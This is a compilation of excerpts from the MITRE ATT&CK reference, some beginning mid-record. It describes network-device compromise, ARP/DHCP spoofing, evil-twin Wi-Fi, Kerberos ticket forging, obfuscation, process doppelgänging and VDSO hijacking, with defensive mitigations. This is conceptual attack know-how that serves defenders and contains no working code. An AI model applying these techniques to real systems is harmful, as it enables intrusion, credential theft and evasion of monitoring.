Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\n\nDevices such as routers and firewalls can be used to create boundaries between trusted and untrusted networks. They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections. Restriction of traffic can be achieved by prohibiting IP addresses, layer 4 protocol ports, or through deep packet inspection to identify applications. To participate with the rest of the network, these devices can be directly addressable or transparent, but their mode of operation has no bearing on how the adversary can bypass them when compromised.\n\nWhen an adversary takes control of such a boundary device, they can bypass its policy enforcement to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance. By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via Multi-hop Proxy or exfiltration of data via Traffic Duplication. Adversaries may also target internal devices responsible for network segmentation and abuse these in conjunction with Internal Proxy to achieve the same goals.

Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\n\nNetwork devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks. When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. Some network designs require NAT for the packets to cross the border device. A typical example of this is environments where internal networks make use of non-Internet routable addresses.\n\nWhen an adversary gains control of a network boundary device, they may modify NAT configurations to send traffic between two separated networks, or to obscure their activities. In network designs that require NAT to function, such modifications enable the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device. In network designs that do not require NAT, adversaries may use address translation to further obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders.\n\nAdversaries may use Patch System Image to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities.\n\n**Classification.** - Tactics: defense-impairment\n- Platforms: Network Devices\n- Sub-technique of: T1599 Network Boundary Bridging - Adversaries may bridge network boundaries by compromising perimeter network devices or internal devices responsible for network segmentation.

On such devices, the operating systems are typically monolithic and most of the device functionality and capabilities are contained within a single file.\n\nTo change the operating system, the adversary typically only needs to affect this one file, replacing or modifying it. This can either be done live in memory during system runtime for immediate effect, or in storage to implement the change on the next boot of the network device.\n\n**Classification.** - Tactics: defense-impairment\n- Platforms: Network Devices\n\n**Sub-techniques.** - T1601.002 Downgrade System Image: Adversaries may install an older version of the operating system of a network device to weaken security.\n- T1601.001 Patch System Image: Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses.\n\n**Mitigations.** - **Multi-factor Authentication**: Multi-Factor Authentication (MFA) enhances security by requiring users to provide at least two forms of verification to prove their identity before granting access.

This mitigation can be implemented through the following measures:\n- **Credential Access Protection**: Credential Access Protection focuses on implementing measures to prevent adversaries from obtaining credentials, such as passwords, hashes, tokens, or keys, that could be used for unauthorized access. This involves restricting access to credential storage mechanisms, hardening configurations to block credential dumping methods, and using monitoring tools to detect suspicious credential-related activity. This mitigation can be implemented through the following measures:\n- **Code Signing**: Code Signing is a security process that ensures the authenticity and integrity of software by digitally signing executables, scripts, and other code artifacts. It prevents untrusted or malicious code from executing by verifying the digital signatures against trusted sources. […]\n\n## Reference: ATT&CK T1601.001 Patch System Image\n**ATT&CK T1601.001 Patch System Image (full record).** Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses. Some network devices are built with a monolithic architecture, where the entire operating system and most of the functionality of the device is contained within a single file. Adversaries may change this file in storage, to be loaded in a future boot, or in memory during runtime.\n\nTo change the operating system in storage, the adversary will typically use the standard procedures available to device operators. This may involve downloading a new file via typical protocols used on network devices, such as TFTP, FTP, SCP, or a console connection. The original file may be overwritten, or a new file may be written alongside of it and the device reconfigured to boot to the compromised image.\n\nTo change the operating system in memory, the adversary typically can use one of two methods. In the first, the adversary would make use of native debug commands in the original, unaltered running operating system that allow them to directly modify the relevant memory addresses containing the running operating system. This method typically requires administrative level access to the device.\n\nIn the second method for changing the operating system in memory, the adversary would make use of the boot loader. The boot loader is the first piece of software that loads when the device starts that, in turn, will launch the operating system. Adversaries may use malicious code previously implanted in the boot loader, such as through the ROMMONkit method, to directly manipulate running operating system code in memory. This malicious code in the bootloader provides the capability of direct memory manipulation to the adversary, allowing them to patch the live operating system during runtime.\n\nBy modifying the instructions stored in the system image file, adversaries may either weaken existing defenses or provision new capabilities that the device did not have before. Examples of existing defenses that can be impeded include encryption, via Weaken Encryption, authentication, via Network Device Authentication, and perimeter defenses, via Network Boundary Bridging. Adding new capabilities for the adversary’s purpose include Keylogging, Multi-hop Proxy, and Port Knocking. […]\n\n## Reference: ATT&CK T1601.002 Downgrade System Image\n**ATT&CK T1601.002 Downgrade System Image (full record).** Adversaries may install an older version of the operating system of a network device to weaken security. Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features.\n\nOn embedded devices, downgrading the version typically only requires replacing the operating system file in storage. With most embedded devices, this can be achieved by downloading a copy of the desired version of the operating system file and reconfiguring the device to boot from that file on next system restart. The adversary could then restart the device to implement the change immediately or they could wait until the next time the system restarts.\n\nDowngrading the system image to an older versions may allow an adversary to evade defenses by enabling behaviors such as Weaken Encryption. Downgrading of a system image can be done on its own, or it can be used in conjunction with Patch System Image.\n\n**Classification.** - Tactics: defense-impairment\n- Platforms: Network Devices\n- Sub-technique of: T1601 Modify System Image - Adversaries may make changes to the operating system of embedded network devices to weaken defenses and provide new capabilities for themselves.

This activity may be used to enable follow-on behaviors such as Network Sniffing or Transmitted Data Manipulation.\n\nThe ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address. Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache.\n\nAn adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment.\n\nThe ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.\n\nAdversaries may use ARP cache poisoning as a means to intercept network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol. […]\n\n## Reference: ATT&CK T1557.003 DHCP Spoofing\n**ATT&CK T1557.003 DHCP Spoofing (full record).** Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as Network Sniffing or Transmitted Data Manipulation.\n\nDHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients. The typical server-client interaction is as follows:\n\n1. The client broadcasts a `DISCOVER` message.\n\n2. The server responds with an `OFFER` message, which includes an available network address.\n\n3. The client broadcasts a `REQUEST` message, which includes the network address offered.\n\n4. The server acknowledges with an `ACK` message and the client receives the network configuration parameters.\n\nAdversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers. Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network.\n\nDHCPv6 clients can receive network configuration information without being assigned an IP address by sending a `INFORMATION-REQUEST (code 11)` message to the `All_DHCP_Relay_Agents_and_Servers` multicast address. Adversaries may use their rogue DHCP server to respond to this request message with malicious network configurations.\n\nRather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e, Service Exhaustion Flood) by generating many broadcast DISCOVER messages to exhaust a network’s DHCP allocation pool.

Adversaries may provide a stronger signal strength or block access to Wi-Fi access points to coerce or entice victim devices into connecting to malicious networks. A Wi-Fi Pineapple – a network security auditing and penetration testing tool – may be deployed in Evil Twin attacks for ease of use and broader range. Custom certificates may be used in an attempt to intercept HTTPS traffic.\n\nSimilarly, adversaries may also listen for client devices sending probe requests for known or previously connected networks (Preferred Network Lists or PNLs). When a malicious access point receives a probe request, adversaries can respond with the same SSID to imitate the trusted, known network. Victim devices are led to believe the responding access point is from their PNL and initiate a connection to the fraudulent network.\n\nUpon logging into the malicious Wi-Fi access point, a user may be directed to a fake login page or captive portal webpage to capture the victim’s credentials. Once a user is logged into the fraudulent Wi-Fi network, the adversary may able to monitor network activity, manipulate data, or steal additional credentials. Locations with high concentrations of public Wi-Fi access, such as airports, coffee shops, or libraries, may be targets for adversaries to set up illegitimate Wi-Fi access points.\n\n**Classification.** - Tactics: credential-access, collection\n- Platforms: Network Devices\n- Sub-technique of: T1557 Adversary-in-the-Middle - Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or replay attacks (Exploitation for Credential Access).

Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as “realms”, there are three basic participants: client, service, and Key Distribution Center (KDC). Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.\n\nOn Windows, the built-in `klist` utility can be used to list and analyze cached Kerberos tickets.\n\n**Classification.** - Tactics: credential-access\n- Platforms: Linux, macOS, Windows\n\n**Sub-techniques.** - T1558.003 Kerberoasting: Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to Brute Force.\n- T1558.002 Silver Ticket: Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets.\n- T1558.005 Ccache Files: Adversaries may attempt to steal Kerberos tickets stored in credential cache files (or ccache).

Golden tickets enable adversaries to generate authentication material for any account in Active Directory.\n\nUsing a golden ticket, adversaries are then able to request ticket granting service (TGS) tickets, which enable access to specific resources. Golden tickets require adversaries to interact with the Key Distribution Center (KDC) in order to obtain TGS.\n\nThe KDC service runs all on domain controllers that are part of an Active Directory domain. KRBTGT is the Kerberos Key Distribution Center (KDC) service account and is responsible for encrypting and signing all Kerberos tickets.

Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage in Windows systems include the Windows Registry, event logs, or WMI repository. Shared memory directories on Linux systems (`/dev/shm`, `/run/shm`, `/var/run`, and `/var/lock`) and volatile directories on Network Devices (`/tmp` and `/volatile`) may also be considered fileless storage, as files written to these directories are mapped directly to RAM and not stored on the disk..\n\nSimilar to fileless in-memory behaviors such as Reflective Code Loading and Process Injection, fileless data storage may remain undetected by antivirus and other endpoint security tools that can only access specific file formats from disk storage. Leveraging fileless storage may also allow adversaries to bypass the protections offered by read-only file systems in Linux.\n\nAdversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of Persistence) and collected data not yet exfiltrated from the victim (e.g., Local Data Staging). Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored.\n\nSome forms of fileless storage activity may indirectly create artifacts in the file system, but in central and otherwise difficult to inspect formats such as the WMI (e.g., `%SystemRoot%\\System32\\Wbem\\Repository`) or Registry (e.g., `%SystemRoot%\\System32\\Config`) physical files.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, Windows\n- Sub-technique of: T1027 Obfuscated Files or Information - Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. […]\n\n## Reference: ATT&CK T1027.012 LNK Icon Smuggling\n**ATT&CK T1027.012 LNK Icon Smuggling (full record).** Adversaries may smuggle commands to download malicious payloads past content filters by hiding them within otherwise seemingly benign windows shortcut files. Windows shortcut files (.LNK) include many metadata fields, including an icon location field (also known as the `IconEnvironmentDataBlock`) designed to specify the path to an icon file that is to be displayed for the LNK file within a host directory.\n\nAdversaries may abuse this LNK metadata to download malicious payloads. For example, adversaries have been observed using LNK files as phishing payloads to deliver malware. Once invoked (e.g., Malicious File), payloads referenced via external URLs within the LNK icon location field may be downloaded. These files may also then be invoked by Command and Scripting Interpreter/System Binary Proxy Execution arguments within the target path field of the LNK.\n\nLNK Icon Smuggling may also be utilized post compromise, such as malicious scripts executing an LNK on an infected host to download additional malicious payloads.\n\n**Classification.** - Tactics: stealth\n- Platforms: Windows\n- Sub-technique of: T1027 Obfuscated Files or Information - Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.

Antivirus/Antimalware software should be deployed across all devices, with automated updates to ensure protection against the latest threats.\n- **Behavior Prevention on Endpoint**: Behavior Prevention on Endpoint refers to the use of technologies and strategies to detect and block potentially malicious activities by analyzing the behavior of processes, files, API calls, and other endpoint events. […]\n\n## Reference: ATT&CK T1027.013 Encrypted/Encoded File\n**ATT&CK T1027.013 Encrypted/Encoded File (full record).** Adversaries may encrypt or encode files to obfuscate strings, bytes, and other specific patterns to impede detection. Encrypting and/or encoding file content aims to conceal malicious artifacts within a file used in an intrusion. Many other techniques, such as Software Packing, Steganography, and Embedded Payloads, share this same broad objective. Encrypting and/or encoding files could lead to a lapse in detection of static signatures, only for this malicious content to be revealed (i.e., Deobfuscate/Decode Files or Information) at the time of execution/use.\n\nThis type of file obfuscation can be applied to many file artifacts present on victim hosts, such as malware log/configuration and payload files. Files can be encrypted with a hardcoded or user-supplied key, as well as otherwise obfuscated using standard encoding schemes such as Base64.\n\nThe entire content of a file may be obfuscated, or just specific functions or values (such as C2 addresses). Encryption and encoding may also be applied in redundant layers for additional protection.\n\nFor example, adversaries may abuse password-protected Word documents or self-extracting (SFX) archives as a method of encrypting/encoding a file such as a Phishing payload. These files typically function by attaching the intended archived content to a decompressor stub that is executed when the file is invoked (e.g., User Execution).\n\nAdversaries may also abuse file-specific as well as custom encoding schemes. For example, Byte Order Mark (BOM) headers in text files may be abused to manipulate and obfuscate file content until Command and Scripting Interpreter execution.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1027 Obfuscated Files or Information - Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. […]\n\n## Reference: ATT&CK T1027.014 Polymorphic Code\n**ATT&CK T1027.014 Polymorphic Code (full record).** Adversaries may utilize polymorphic code (also known as metamorphic or mutating code) to evade detection. Polymorphic code is a type of software capable of changing its runtime footprint during code execution. With each execution of the software, the code is mutated into a different version of itself that achieves the same purpose or objective as the original. This functionality enables the malware to evade traditional signature-based defenses, such as antivirus and antimalware tools.\nOther obfuscation techniques can be used in conjunction with polymorphic code to accomplish the intended effects, including using mutation engines to conduct actions such as Software Packing, Command Obfuscation, or Encrypted/Encoded File.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1027 Obfuscated Files or Information - Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.

Rather than relying solely on known signatures, this approach leverages heuristics, machine learning, and real-time monitoring to identify anomalous patterns indicative of an attack. This mitigation can be implemented through the following measures:\n- **Antivirus/Antimalware**: Antivirus/Antimalware solutions utilize signatures, heuristics, and behavioral analysis to detect, block, and remediate malicious software, including viruses, trojans, ransomware, and spyware.

[…]\n\n## Reference: ATT&CK T1027.015 Compression\n**ATT&CK T1027.015 Compression (full record).** Adversaries may use compression to obfuscate their payloads or files. Compressed file formats such as ZIP, gzip, 7z, and RAR can compress and archive multiple files together to make it easier and faster to transfer files. In addition to compressing files, adversaries may also compress shellcode directly - for example, in order to store it in a Windows Registry key (i.e., Fileless Storage).\n\nIn order to further evade detection, adversaries may combine multiple ZIP files into one archive. This process of concatenation creates an archive that appears to be a single archive but in fact contains the central directories of the embedded archives. Some ZIP readers, such as 7zip, may not be able to identify concatenated ZIP files and miss the presence of the malicious payload.\n\nFile archives may be sent as one Spearphishing Attachment through email. Adversaries have sent malicious payloads as archived files to encourage the user to interact with and extract the malicious payload onto their system (i.e., Malicious File). However, some file compression tools, such as 7zip, can be used to produce self-extracting archives. Adversaries may send self-extracting archives to hide the functionality of their payload and launch it without requiring multiple actions from the user.\n\nCompression may be used in combination with Encrypted/Encoded File where compressed files are encrypted and password-protected.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1027 Obfuscated Files or Information - Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.

This mitigation can be implemented through the following measures:\n\nSuspicious Process Behavior:\n\n- Implementation: Use Endpoint Detection and Response (EDR) tools to monitor and block processes exhibiting unusual behavior, such as privilege escalation attempts.\n- Use Case: An attacker uses a known vulnerability to spawn a privileged process from a user-level application. The endpoint tool detects the abnormal parent-child process relationship and blocks the action.\n\nUnauthorized File Access:\n\n- Implementation: Leverage Data Loss Prevention (DLP) or endpoint tools to block processes attempting to access sensitive files without proper authorization.\n- Use Case: A process tries to read or modify a sensitive file located in a restricted directory, such as /etc/shadow on Linux or the SAM registry hive on Windows. The endpoint tool identifies this anomalous behavior and prevents it.\n\nAbnormal API Calls:\n\n- Implementation: Implement runtime analysis tools to monitor API calls and block those associated with malicious activities.\n- Use Case: A process dynamically injects itself into another process to hijack its execution. The endpoint detects the abnormal use of APIs like `OpenProcess` and `WriteProcessMemory` and terminates the offending process.\n\nExploit Prevention:\n\n- Implementation: Use behavioral exploit prevention tools to detect and block exploits attempting to gain unauthorized access.\n- Use Case: A buffer overflow exploit is launched against a vulnerable application.

Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies. This mitigation can be implemented through the following measures:\n\nEnforcing the Principle of Least Privilege\n\n- Implementation: Assign users only the minimum permissions required to perform their job functions. Regularly audit accounts to ensure no excess permissions are granted.\n- Use Case: Reduces the risk of privilege escalation by ensuring accounts cannot perform unauthorized actions.\n\nImplementing Strong Password Policies\n\n- Implementation: Enforce password complexity requirements (e.g., length, character types). Require password expiration every 90 days and disallow password reuse.\n- Use Case: Prevents adversaries from gaining unauthorized access through password guessing or brute force attacks.\n\nManaging Dormant and Orphaned Accounts\n\n- Implementation: Implement automated workflows to disable accounts after a set period of inactivity (e.g., 30 days). Remove orphaned accounts (e.g., accounts without an assigned owner) during regular account audits.\n- Use Case: Eliminates dormant accounts that could be exploited by attackers.\n\nAccount Lockout Policies\n\n- Implementation: Configure account lockout thresholds (e.g., lock accounts after five failed login attempts). Set lockout durations to a minimum of 15 minutes.\n- Use Case: Mitigates automated attack techniques that rely on repeated login attempts.\n\nMulti-Factor Authentication (MFA) for High-Risk Accounts\n\n- Implementation: Require MFA for all administrative accounts and high-risk users. Use MFA mechanisms like hardware tokens, authenticator apps, or biometrics.\n- Use Case: Prevents unauthorized access, even if credentials are stolen.\n\nRestricting Interactive Logins\n\n- Implementation: Restrict interactive logins for privileged accounts to specific secure systems or management consoles. Use group policies to enforce logon restrictions.\n- Use Case: Protects sensitive accounts from misuse or exploitation.\n\n*Tools for Implementation*\n\nBuilt-in Tools:\n\n- Microsoft Active Directory (AD): Centralized account management and RBAC enforcement.\n- Group Policy Object (GPO): Enforce password policies, logon restrictions, and account lockout policies.\n\nIdentity and Access Management (IAM) Tools:\n\n- Okta: Centralized user provisioning, MFA, and SSO integration.\n- Microsoft Azure Active Directory: Provides advanced account lifecycle management, role-based access, and conditional access policies.\n\nPrivileged Account Management (PAM):\n- CyberArk, BeyondTrust, Thycotic: Manage and monitor privileged account usage, enforce session recording, and JIT access.\n\n## ATT&CK technique(s) countered\n- T1580 Cloud Infrastructure Discovery\n- T1677 Poisoned Pipeline Execution\n- T1078.002 Domain Accounts\n- T1543 Create or Modify System Process\n- T1040 Network Sniffing\n- T1578 Modify Cloud Compute Infrastructure\n- T1072 Software Deployment Tools\n- T1021.008 Direct Cloud VM Connections\n- T1574.010 Services File Permissions Weakness\n- T1213.004 Customer Relationship Management Software\n- T1578.005 Modify Cloud Compute Configurations\n- T1685.001 Disable or Modify Windows Event Log\n- T1098.004 SSH Authorized Keys\n- T1619 Cloud Storage Object Discovery\n- T1685 Disable or Modify Tools\n- T1053 Scheduled Task/Job\n- T1556.006 Multi-Factor Authentication\n- T1530 Data from Cloud Storage\n- T1036 Masquerading\n- T1610 Deploy Container\n- T1197 BITS Jobs\n- T1537 Transfer Data to Cloud Account\n- T1556.009 Conditional Access Policies\n- T1566.003 Spearphishing via Service\n- T1546.003 Windows Management Instrumentation Event Subscription\n- T1547.009 Shortcut Modification\n- T1578.003 Delete Cloud Instance\n- T1134 Access Token Manipulation\n- T1686.002 Network Device Firewall\n- T1543.004 Launch Daemon\n- T1047 Windows Management Instrumentation\n- T1134.001 Token Impersonation/Theft\n- T1566.001 Spearphishing Attachment\n- T1609 Container Administration Command\n- T1550.003 Pass the Ticket\n- T1654 Log Enumeration\n- T1574 Hijack Execution Flow\n- T1078 Valid Accounts\n- T1098.001 Additional Cloud Credentials\n- T1053.007 Container Orchestration Job\n\n## Category\nATT&CK enterprise mitigation\n\n## Reference: ATT&CK T1636.003 Contact List\n**ATT&CK T1636.003 Contact List (full record).** Adversaries may utilize standard operating system APIs to gather contact list data.

If another certificate is presented, it could indicate device compromise, traffic interception, or another upstream issue. While benign usages are common, it is also possible for adversaries to abuse this technology to protect malicious C2 traffic.\n\nIn normal, not pinned SSL validation, when a client connects to a server using HTTPS, it typically checks whether the server’s SSL/TLS certificate is signed by a trusted Certificate Authority (CA) in the device’s trust store. If the certificate is valid and signed by a trusted CA, the connection is established. However, with SSL Pinning, the client is configured to trust a specific SSL/TLS certificate or public key, rather than relying on the device’s trust store. This means that even if the server’s certificate is signed by a trusted CA, the client will only establish the connection of the certificate or key is pinned.\n\nThere are two types of SSL Pinning:\n\n1. Certificate Pinning: The client stores a copy of the server’s certificate and compares it with the certificate received during the SSL handshake. If the certificates match, then the client proceeds with the connection. This approach also works with self-signed certificates.\n\n2. Public Key Pinning: Instead of pinning the entire certificate, the client pins just the public key extracted from the certificate. This is often more flexible, as it allows the server to renew its certificate without having to update the pinned certificate or breaking the SSL connection.\n\n**Classification.** - Tactics: command-and-control\n- Platforms: Android, iOS\n- Sub-technique of: T1521 Encrypted Channel - Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol.\n\n**Mitigations.** - **User Guidance**: Describes any guidance or training given to users to set particular configuration settings or avoid specific potentially risky behaviors.

A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.\n\nAn adversary may need to determine if the remote system is in a vulnerable state, which may be done through Network Service Discovery or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.\n\nThere are several well-known vulnerabilities that exist in common services such as SMB and RDP as well as applications that may be used within internal networks such as MySQL and web server services. Additionally, there have been a number of vulnerabilities in VMware vCenter installations, which may enable threat actors to move laterally from the compromised vCenter server to virtual machines or even to ESXi hypervisors.\n\nDepending on the permissions level of the vulnerable remote service an adversary may achieve Exploitation for Privilege Escalation as a result of lateral movement exploitation as well.\n\n**Classification.** - Tactics: lateral-movement\n- Platforms: Linux, Windows, macOS, ESXi\n\n**Mitigations.** - **Disable or Remove Feature or Program**: Disable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries.

Exploitation occurs when an adversary leverages a programming flaw to execute code in a manner that minimizes visibility or blends in with legitimate activity.\n\nRather than directly disabling defenses, adversaries may use exploitation to circumvent monitoring and logging mechanisms. This can include abusing vulnerabilities in logging pipelines, security tools, or cloud infrastructure to evade audit trails, suppress alerts, or operate without generating telemetry.\n\nAdversaries may identify these opportunities through prior reconnaissance or by performing discovery of security controls after initial access. In some cases, vulnerabilities in SaaS or public cloud environments may be exploited to evade logging, obscure activity, or deploy infrastructure that remains hidden from standard monitoring tools.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, Windows, macOS, SaaS, IaaS\n\n**Mitigations.** - **Exploit Protection**: Deploy capabilities that detect, block, and mitigate conditions indicative of software exploits.

One example of this is `MS14-068`, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions. Another example of this is replay attacks, in which the adversary intercepts data packets sent between parties and then later replays these packets. If services don't properly validate authentication requests, these replayed packets may allow an adversary to impersonate one of the parties and gain unauthorized access or privileges.\n\nSuch exploitation has been demonstrated in cloud environments as well. For example, adversaries have exploited vulnerabilities in public cloud infrastructure that allowed for unintended authentication token creation and renewal.\n\nExploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.\n\n**Classification.** - Tactics: credential-access\n- Platforms: Linux, Windows, macOS, Identity Provider\n\n**Mitigations.** - **Exploit Protection**: Deploy capabilities that detect, block, and mitigate conditions indicative of software exploits.

Antivirus/Antimalware software should be deployed across all devices, with automated updates to ensure protection against the latest threats. This mitigation can be implemented through the following measures:\n\nSignature-Based Detection:\n\n- Implementation: Use predefined signatures to identify known malware based on unique patterns such as file hashes, byte sequences, or command-line arguments. This method is effective against known threats.\n- Use Case: When malware like \"Emotet\" is detected, its signature (such as a specific file hash) matches a known database of malicious software, triggering an alert and allowing immediate quarantine of the infected file.\n\nHeuristic-Based Detection:\n\n- Implementation: Deploy heuristic algorithms that analyze behavior and characteristics of files and processes to identify potential malware, even if it doesn’t match a known signature.\n- Use Case: If a program attempts to modify multiple critical system files or initiate suspicious network communications, heuristic analysis may flag it as potentially malicious, even if no specific malware signature is available.\n\nBehavioral Detection (Behavior Prevention):\n\n- Implementation: Use behavioral analysis to detect patterns of abnormal activities, such as unusual system calls, unauthorized file encryption, or attempts to escalate privileges.\n- Use Case: Behavioral analysis can detect ransomware attacks early by identifying behavior like mass file encryption, even before a specific ransomware signature has been identified.\n\nReal-Time Scanning:\n\n- Implementation: Enable real-time scanning to automatically inspect files and network traffic for signs of malware as they are accessed, downloaded, or executed.\n- Use Case: When a user downloads an email attachment, the antivirus solution scans the file in real-time, checking it against both signatures and heuristics to detect any malicious content before it can be opened.\n\nCloud-Assisted Threat Intelligence:\n\n- Implementation: Use cloud-based threat intelligence to ensure the antivirus solution can access the latest malware definitions and real-time threat feeds from a global database of emerging threats.

Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver’s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal.\n\nFor efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key.

Process doppelgänging is a method of executing arbitrary code in the address space of a separate live process.\n\nWindows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction.\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10.\n\nAdversaries may abuse TxF to a perform a file-less variation of Process Injection. Similar to Process Hollowing, process doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelgänging's use of TxF also avoids the use of highly-monitored API functions such as `NtUnmapViewOfSection`, `VirtualProtectEx`, and `SetThreadContext`.\n\nProcess Doppelgänging is implemented in 4 steps:\n\n* Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load – Create a shared section of memory and load the malicious executable.\n* Rollback – Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate – Create a process from the tainted section of memory and initiate execution.\n\nThis behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process.

Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process.\n\nVDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via Ptrace System Calls. However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process.\n\n**Classification.** - Tactics: stealth, privilege-escalation\n- Platforms: Linux\n- Sub-technique of: T1055 Process Injection - Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges.

